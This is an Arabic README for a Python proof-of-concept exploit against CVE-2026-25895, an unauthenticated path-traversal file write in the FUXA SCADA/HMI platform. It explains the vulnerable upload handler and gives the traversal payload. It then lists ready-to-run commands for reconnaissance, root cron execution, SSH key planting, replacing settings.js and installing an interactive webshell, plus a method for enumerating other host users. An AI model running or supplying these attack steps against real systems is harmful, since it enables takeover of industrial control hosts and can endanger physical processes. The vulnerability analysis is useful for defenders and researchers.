
استغلال POC لـ CVE-2026-25895 في FUXA: اجتياز المسار غير المصادق عليه -> كتابة ملفات عشوائية -> RCE
كتابة ملفات تعسفية غير مصادق عليها وقبل المصادقة ضد FUXA، وهي منصة SCADA/HMI مبنية على Node.js. تتسلسل إلى تنفيذ كود عن بُعد عبر عدة آليات لاحقة للكتابة. تعمل حتى عندما يكون secureEnabled = true (المصادقة مفعّلة) لأن نقطة النهاية المعرَّضة لا تحتوي على برمجية وسيطة (middleware) مرتبطة بها.
متاحة أيضًا على ExploitDB: https://www.exploit-db.com/exploits/52568
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-25895 |
| المتأثر | FUXA <= 1.2.9 |
| التصحيح | FUXA 1.2.10 |
| البائع | frangoteam / FUXA |
| ناقل الهجوم | Network (HTTP/HTTPS) |
| المصادقة | لا يلزم أي مصادقة |
| الأثر | كتابة ملفات تعسفية، تنفيذ كود عن بُعد |
| CVSS v3.1 | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الباحث | Anthony Cihan (Hann1bl3L3ct3r) |
نقطة النهاية POST /api/upload في FUXA (server/api/projects/index.js:193) مُسجَّلة بدون برمجية وسيطة (middleware)، متجاوزةً بذلك فحص secureFnc القائم على JWT / مفتاح API وبوابة صلاحيات المسؤول المطبَّقة على كل نقطة نهاية أخرى لإدارة المشاريع. داخل المعالج، يُدمج حقل destination من نص JSON في مسار نظام الملفات مع شرطة سفلية بادئة فقط، دون أي تطبيع أو فحص احتواء:
let destinationDir = path.resolve(runtime.settings.appDir, `_${destination}`);
filePath = path.join(destinationDir, fullPath || fileName);
fs.writeFileSync(filePath, basedata, encoding);
قيمة destination بالصيغة a/../../../../../etc (حيث تمتص a بادئة الشرطة السفلية) تجعل دالة path.resolve في Node تصعد خارج appDir إلى أي موقع يمكن لعملية FUXA الكتابة إليه. وبما أن fs.writeFileSync يسبقه استدعاء شرطي للدالة fs.mkdirSync(dir, { recursive: true })، يمكن للمهاجم أيضًا إنشاء الدلائل الأصلية (parent directories) حسب الحاجة.
النتيجة هي آليّة كتابة ملفات تعسفية غير مصادَق عليها يمكن الوصول إليها عبر منفذ HTTP الافتراضي (1881)، قابلة للاستغلال قبل المصادقة بغض النظر عما إذا كان مسؤول FUXA قد فعّل تسجيل الدخول أم لا.
يمكن لمهاجم عن بُعد غير مصادَق أن:
settings.js لتحقيق تنفيذ كود عند إعادة تشغيل FUXA التالية/etc/cron.d/<file>) لتنفيذ كود خلال 60 ثانية عندما يعمل FUXA بصلاحيات root (الوضع الافتراضي في صورة Docker الخاصة بالبائع)/root/.ssh/authorized_keys أو في ~/.ssh/authorized_keys لأي مستخدمهذا اكتشاف ذو خطورة حرجة قبل المصادقة على منصة ICS/SCADA تُستخدم لتشغيل العمليات الصناعية.
| Version | Status |
|---|---|
<= 1.2.9 | متأثر |
1.2.10+ | مُصحَّح |
تم تأكيد قابلية الاستغلال ضد تثبيت نظيف لـ FUXA 1.2.9 على Ubuntu Server.
نص برمجي واحد بملف واحد بلغة Python 3، مع تبعية خارجية واحدة (requests).
pip install requests
python3 fuxapwn.py --help
تعرّف على مستخدم نظام التشغيل الحالي، ومدى تعرّض Node-RED، وأي حسابات أخرى على المضيف دون كتابة أي شيء غير اعتيادي:
python3 fuxapwn.py -u http://target:1881 --mode recon \
--probe-root --probe-home
اكتب علامة محايدة /tmp/healthcheck (بدون مؤشرات اختراق IOCs خاصة بـ CVE في اسم الملف أو محتواه):
python3 fuxapwn.py -u http://target:1881 --mode canary
إذا كان FUXA يعمل بصلاحيات root، فأسقط ملف cron يتم تشغيله خلال 60 ثانية دون الحاجة إلى إعادة تشغيل FUXA:
python3 fuxapwn.py -u http://target:1881 --mode cron \
--cron-cmd 'id > /tmp/fx.txt 2>&1'
settings.jsثبّت مستمع ويب شل HTTP داخل عملية Node الخاصة بـ FUXA (يتم التفعيل عند الإقلاع البارد التالي، لأن require() يخزّن الوحدات في cache)، ثم ادخل في REPL تفاعلي بمجرد إعادة تشغيل FUXA:
# Stage the payload — replaces settings.js but preserves the target's
# real configuration (uiPort, allowedOrigins, secureEnabled, etc.) so the
# application keeps serving normally.
python3 fuxapwn.py -u http://target:1881 --mode webshell \
--appdata /opt/FUXA/server/_appdata --ws-port 31337
# Once FUXA restarts, connect to the installed webshell.
python3 fuxapwn.py -u http://target:1881 --mode webshell-exec \
--ws-host target --ws-port 31337 \
--ws-path /_abc123 --ws-token <printed-above> --interact
| الوضع | الغرض |
|---|---|
recon | تسريب معلومات غير مصادَق عبر GET /api/settings؛ يستنتج مستخدم نظام التشغيل الحالي من المسارات المطلقة؛ يبلّغ عن حالة Node-RED؛ مع فحوصات نشطة اختيارية --probe-root و--probe-home |
canary | إثبات آليّة كتابة الملفات بمسار افتراضي محايد |
settings-rce | يستبدل settings.js بحمولة تشغّل أمرًا قابلًا للضبط عند الإقلاع البارد التالي لـ FUXA |
ssh-key | يكتب مفتاحًا عامًا إلى ملف authorized_keys لمستخدم مستهدف |
drop | إسقاط ملف تعسفي إلى أي مسار مطلق |
cron | يُسقط /etc/cron.d/<name> لتنفيذ كود خلال 60 ثانية دون انتظار إعادة تشغيل FUXA (يتطلب عمل FUXA بصلاحيات root) |
webshell | يثبّت مستمع ويب شل HTTP داخل عملية Node الخاصة بـ FUXA عبر استبدال settings.js (يُفعَّل عند الإقلاع البارد التالي) |
webshell-exec | عميل لويب شل مثبَّت مسبقًا؛ أمر واحد أو REPL تفاعلي عبر --interact |
المرجع الكامل لخيارات كل وضع: python3 fuxapwn.py --help.
نقطة النهاية GET /api/settings (server/api/index.js:103) مُسجَّلة بدون برمجية وسيطة، وتُعيد إعدادات وقت التشغيل الفعلية مع تنقيح بسيط (يحذف الخادم secretCode وsmtp.password قبل الإرسال). الحقول المتبقية تُسرّب مسارات مطلقة (appDir, workDir, userSettingsFile, logsDir, uploadFileDir) التي تحدّد عادةً مستخدم الخدمة، بالإضافة إلى nodeRedEnabled، وهو مؤشر مباشر لمسار RCE ثانوي غير مصادَق (انظر أدناه).
عند تشغيل FUXA عبر npm start بحساب مستخدم محلي وكانت مسارات التثبيت لا تشفّر اسم المستخدم (مثلًا كان التثبيت تحت /opt أو /tmp أو /app عام)، ولم يكن /root/ قابلاً للكتابة، يلجأ الـ POC إلى التكرار عبر /home/<candidate>/ بكتابات بحجم صفر بايت.
معالج الرفع في FUXA يستدعي بشكل شرطي fs.mkdirSync(parent, { recursive: true }) قبل fs.writeFileSync، مما يخلق غموضًا في خطأ EACCES: فالمسار غير الموجود /home/<user>/ يفشل بـ EACCES عند محاولة mkdir (لا تستطيع العملية إنشاء أدلة تحت /home/ المملوك للجذر root)، بينما المسار الموجود /home/<other>/ بوضع 0700 يفشل بـ EACCES عند الكتابة نفسها. نفس رقم الخطأ errno لكن بمعنى مختلف. يميّز الـ POC بينهما بتحليل رمز استدعاء النظام syscall من err.message الموجَّه من الخادم (صيغة libuv: "<CODE>: <reason>, <syscall> '<path>'") ويُبلغ فقط عن EACCES عند الفتح (أو أي استدعاء نظام ليس mkdir) بوصفه «مستخدم آخر موجود». هذا يزيل قائمة الحركة الجانبية الإيجابية الكاذبة التي كان سينتجها فحص يعتمد على errno فقط على نحو ساذج.